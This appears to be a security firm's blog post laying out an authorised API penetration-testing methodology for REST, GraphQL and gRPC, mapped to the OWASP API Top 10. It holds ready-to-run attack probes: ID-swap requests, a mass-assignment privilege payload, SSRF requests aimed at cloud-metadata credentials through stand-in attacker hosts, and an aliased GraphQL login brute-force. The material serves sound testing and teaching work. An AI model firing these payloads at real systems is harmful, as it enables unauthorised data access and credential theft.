API Penetration Testing Methodology — REST, GraphQL, gRPC

Published May 3, 2026 · 17 min read · VAPT

APIs are where modern application logic lives, and where modern bugs hide. The web UI is now a thin shell over a REST/GraphQL/gRPC backend, and most of the high-impact findings — authorisation bypass on object IDs, mass assignment of privileged fields, server-side request forgery via callback URLs — live in the API layer rather than in the rendered HTML. This methodology walks an API pentest end-to-end, mapped to the OWASP API Security Top 10 2023, covering REST, GraphQL and gRPC with tooling, payloads and curl chains a tester can run today.

Scope and rules of engagement

  • Documented endpoint surface — OpenAPI, GraphQL schema (or introspection), proto files for gRPC.
  • Two test accounts per role (tenant A user, tenant A admin, tenant B user) — mandatory for BOLA and BFLA testing.
  • Rate-limit policy — what brute-force / fuzzing rates are permitted; whether the WAF will be put into log-only mode.
  • Out-of-scope endpoints (payments, telecom carriers, regulated personally identifiable information).
  • Stop-list techniques — no DoS, no destructive writes against live tenants without authorisation.

Without two accounts in two different tenants, broken-object-level-authorisation testing is guesswork. Insist on this before kickoff.

Tooling matrix

ToolUse
Burp Suite ProIntercepting proxy, Repeater, Intruder, Logger, AuthMatrix and Autorize extensions
PostmanCollection management, environment variables across roles, scripting
mitmproxyScriptable proxy, mobile and gRPC traffic, Python addons
ffuf / NucleiEndpoint discovery, template-driven misconfig detection
GraphQL VoyagerSchema visualisation from introspection
graphw00fGraphQL engine fingerprinting
GraphQLmapGraphQL exploitation — introspection, batching, mutations
BFACBackup file artefact crawler — .bak, .old, source disclosure
grpcurlgRPC equivalent of curl, supports server reflection

Phase 1 — recon and surface mapping

Recon for an API pentest is not subdomain enumeration. It is endpoint enumeration, schema extraction, and version discovery.

  • Pull the OpenAPI/Swagger document — /swagger.json, /openapi.json, /api-docs, /v3/api-docs are the conventional paths.
  • For GraphQL, attempt introspection at the conventional /graphql, /api/graphql, /query, /v1/graphql endpoints.
  • For gRPC, try server reflection (the dev-time API the gRPC ecosystem ships) — many production deployments leave reflection on by default.
  • Diff old vs. new API versions — /v1 often retains endpoints that were quietly retired from /v2.
  • Mobile apps — pull the APK / IPA, run mitmproxy with cert pinning bypass and capture the actual API shape, not the documented one.
# REST endpoint discovery
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -u https://api.target.example/FUZZ -mc 200,201,204,301,302,401,403

# GraphQL introspection
curl -s -X POST https://api.target.example/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN_A" \
  -d '{"query":"{__schema{types{name fields{name}}}}"}'

# GraphQL engine fingerprint
graphw00f -t https://api.target.example/graphql

# gRPC server reflection
grpcurl -plaintext api.target.example:50051 list
grpcurl -plaintext api.target.example:50051 describe target.UserService

OWASP API Security Top 10 2023 — mapping

IDRiskTest focus
API1Broken Object Level Authorization (BOLA)User A reads user B's objects by ID swap
API2Broken AuthenticationJWT alg=none, weak secrets, refresh-token reuse
API3Broken Object Property Level AuthorizationMass assignment, excessive data exposure
API4Unrestricted Resource ConsumptionPagination size, GraphQL depth/aliasing
API5Broken Function Level Authorization (BFLA)User role calls admin endpoint successfully
API6Unrestricted Access to Sensitive Business FlowsBulk-buy, scraping, account creation abuse
API7Server-Side Request ForgeryWebhook URLs, image-fetch, callback fields
API8Security MisconfigurationCORS, verbose errors, default creds
API9Improper Inventory ManagementOld / shadow / staging API versions
API10Unsafe Consumption of APIsTrusted-third-party callback handling

API1 — BOLA in practice

BOLA is the single highest-impact API bug. Take any endpoint that references an object ID (/users/123, /orders/abc-def, /files/uuid) and replay the request with the ID owned by another tenant.

# Tenant A user retrieves their own resource
curl -s https://api.target.example/v1/orders/A-1001 \
  -H "Authorization: Bearer $TOKEN_A"

# Replay with Tenant A token but Tenant B's order ID
curl -s https://api.target.example/v1/orders/B-2042 \
  -H "Authorization: Bearer $TOKEN_A"

# Same primitive against an admin-flavoured endpoint
curl -s https://api.target.example/v1/admin/users/<tenant-b-user-id> \
  -H "Authorization: Bearer $TOKEN_A"

# Burp -- AuthMatrix/Autorize automates the diff between two roles' responses

Document each finding with: HTTP method + path, the substituted ID and ownership, the response code (200/403/404 distinction matters — the difference between BOLA and BOLA + IDOR-leak), and screenshot evidence. Test all CRUD verbs — an endpoint may correctly reject GET by another tenant but happily accept DELETE.

API2 — broken authentication

  • JWT alg: none — flip the algorithm header, drop the signature, replay.
  • JWT key confusion — sign an HS256 token with the public RSA key when the server expects RS256.
  • Weak HS256 secret — offline crack with hashcat -m 16500.
  • Refresh token reuse — replay an old refresh after a fresh one was issued; the spec says revoke on rotation.
  • Cookie-bound vs. header-bound token confusion — some libraries accept either, allowing CSRF on JSON endpoints.

API3 — mass assignment and excessive data exposure

Mass assignment is the classic Rails / Spring / NestJS bug where the server hydrates the request body straight into a model object, including fields the user is not supposed to set.

# Vanilla update -- spec-documented fields only
curl -s -X PUT https://api.target.example/v1/users/me \
  -H "Authorization: Bearer $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"axveil","email":"axveil@example"}'

# Mass-assignment probe -- attempt to elevate role
curl -s -X PUT https://api.target.example/v1/users/me \
  -H "Authorization: Bearer $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"axveil","email":"axveil@example","is_admin":true,"role":"admin","tenant_id":"any"}'

# Excessive data exposure -- response includes server-side fields
# Look for: password_hash, internal_id, mfa_secret, stripe_customer_id

API5 — broken function-level authorisation

BFLA is BOLA on verbs and paths instead of object IDs. Try every admin-flavoured path with a non-admin token. Common patterns: same path with X-Forwarded-User: admin header spoof; routing by HTTP method (DELETE allowed where GET is denied); GraphQL mutations gated by client-side feature flag rather than server-side authorisation.

API7 — SSRF via API callbacks

Any field the server fetches as a URL is a potential SSRF: webhook URLs, OAuth redirect URIs, avatar-from-URL fields, RSS imports, PDF generators that render HTML. The high-impact targets are cloud metadata services (169.254.169.254) and internal admin panels.

# Webhook field SSRF probe
curl -s -X POST https://api.target.example/v1/webhooks \
  -H "Authorization: Bearer $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# DNS rebinding payload (collaborator)
{"url":"http://attacker.collaborator.net/redirect-to-internal"}

# Redirect-chain bypass
{"url":"https://attacker.example/redirect?to=http://169.254.169.254/..."}

GraphQL-specific tests

  • Introspection on in production — should be off; if on, dump the schema.
  • Field suggestions — GraphQL servers sometimes leak field names via "did you mean..." errors even with introspection off.
  • Batching — many GraphQL endpoints accept arrays of queries in one POST. Use this to bypass per-request rate limiting on login.
  • Aliasing — alias the same mutation N times in one request to multiply effects (1000 OTP attempts in one HTTP request).
  • Depth and complexity — nested recursive queries can DoS the resolver layer.
  • Mutation BOLA — mutations like updateUser(id: $id) should authorise by object owner, not by token validity alone.
# Aliased login brute -- 100 attempts in one HTTP request
mutation {
  a1: login(email:"victim@example", password:"Spring2026!") { token }
  a2: login(email:"victim@example", password:"Summer2026!") { token }
  a3: login(email:"victim@example", password:"Welcome1!") { token }
  ...
  a100: login(email:"victim@example", password:"P@ssw0rd!") { token }
}

# Recursive depth DoS
query {
  users { posts { author { posts { author { posts { author { posts { id }}}}}}}}
}

gRPC-specific tests

  • Server reflection enabled — the dev API for schema discovery, often left on.
  • Plaintext (h2c) instead of TLS (h2) — check for grpc:// ports without TLS.
  • Metadata-based auth — gRPC headers travel as HTTP/2 metadata; check whether removing the auth metadata drops to anonymous.
  • Field-level authorisation in proto3 — same BOLA/BFLA primitives, just over a different wire protocol.
  • Web-grpc / grpc-gateway proxies — HTTP-side may apply different policies than the native gRPC port.
# Reflection-driven enumeration
grpcurl -plaintext api.target.example:50051 list
grpcurl -plaintext api.target.example:50051 list target.UserService

# Anonymous call probe -- no metadata
grpcurl -plaintext -d '{"id":"B-2042"}' \
  api.target.example:50051 target.UserService/GetUser

# Authenticated call with token-A trying tenant-B object
grpcurl -plaintext -H "authorization: Bearer $TOKEN_A" \
  -d '{"id":"B-2042"}' api.target.example:50051 target.UserService/GetUser

API4 — resource consumption

APIs without sensible upper bounds on pagination size, query depth, or concurrent connections are economic-DoS targets. Test ?per_page=100000 against every list endpoint; test sustained concurrent connections; test the GraphQL recursion depth; test whether the backend forwards ?limit=...straight to the database without a server-side cap. Findings here are usually not classic DoS — they are read-amplification primitives that let an attacker scrape the entire dataset cheaply.

API6 — sensitive business flows

Some endpoints are not technically broken but are economically exploitable: bulk account creation for spam, sneaker-bot purchase flows, ticket scalping, abuse of free-tier signup, scraping that exfiltrates the customer database one query at a time. The pentest deliverable should flag the absence of business-flow rate limiting, captcha, behavioural fingerprinting and per-user spend velocity checks.

API8 and API9 — misconfig and inventory

  • CORS — Access-Control-Allow-Origin: * with credentials; reflected origin without allow-list.
  • Verbose stack traces in production — framework name, version, file paths, sometimes secrets.
  • Default credentials on admin sub-paths (/api/admin, /_admin, /health/db).
  • Inventory drift — /v1 still live and unauthenticated when /v2 is the "current" one; staging APIs reachable from the production domain; mobile-only API endpoints with weaker auth than web.
  • Documentation endpoints (/swagger, /graphql) exposed in production.

Reporting structure

Each finding records: OWASP API Top 10 mapping, affected endpoint(s), reproducer (curl or grpcurl block), evidence, business impact in the customer's domain language (not "information disclosure" — "tenant A can read tenant B's order history"), recommended fix at the code level (not just the policy level), and a detection hint for the WAF/SIEM team. The deliverable also includes a coverage matrix that lists every documented endpoint and what was tested against it — so the customer can see which authorisation primitives were exercised and which were skipped due to scope.

Reference: OWASP API Security Top 10 2023 (full document), project repository.

For a scoped API pentest aligned with this methodology, see the AxVeil VAPT service.

Frequently asked questions

Why is BOLA the highest-impact API vulnerability?

Broken Object Level Authorization (OWASP API1:2023) is the single most common and most damaging API bug because it lets an authenticated user read or modify another tenant's data simply by swapping an object ID — no exotic exploit chain required. It is trivially repeatable, scales to the entire dataset one ID at a time, and is invisible to a scanner that does not hold two accounts in two tenants. That is why insisting on two test accounts per role before kickoff is non-negotiable.

Can an automated scanner find these API findings on its own?

No. Scanners reliably catch security misconfiguration, missing headers, and known CVEs, but BOLA, BFLA, mass assignment, and business-flow abuse all require understanding which object belongs to which tenant and which action a role should be allowed to perform. That is authorisation logic a scanner cannot infer. Tools accelerate triage; a human operator with two roles and the documented object model finds the authorisation bugs.

Do we need GraphQL introspection enabled for you to test our API?

It helps but is not required. If introspection is on we dump the schema directly; if it is off we fingerprint the engine with graphw00f, harvest field names from the client bundle and from 'did you mean' suggestion errors, and reconstruct the surface. We always recommend disabling introspection in production — but disabling it is defence in depth, not a substitute for server-side authorisation on every field and mutation.

How does an API pentest map to OWASP API Security Top 10 2023?

Every finding in the report carries its OWASP API Top 10 2023 ID (API1 BOLA through API10 Unsafe Consumption of APIs) plus the affected endpoint, a curl or grpcurl reproducer, business-impact language, and a code-level fix. The deliverable also includes a coverage matrix listing every documented endpoint and the authorisation primitives exercised against it, so you can see exactly what was tested and what was skipped due to scope.

Does the methodology cover gRPC and GraphQL or only REST?

All three. The core authorisation primitives — BOLA on object IDs, BFLA on functions, mass assignment, SSRF via callback fields — apply across REST, GraphQL, and gRPC; only the wire protocol and the recon tooling change. GraphQL adds batching, aliasing, and depth-complexity tests; gRPC adds server-reflection enumeration, plaintext-vs-TLS checks, and metadata-based auth bypass. We scope the protocol mix from your OpenAPI spec, GraphQL schema, and proto files at kickoff.

Plan your API pentest with AxVeil.

REST, GraphQL and gRPC coverage. OWASP API Top 10 2023 mapping, BOLA/BFLA depth, mass assignment, SSRF chains, retest included.

Talk to a senior operator about API pentest scope →
Share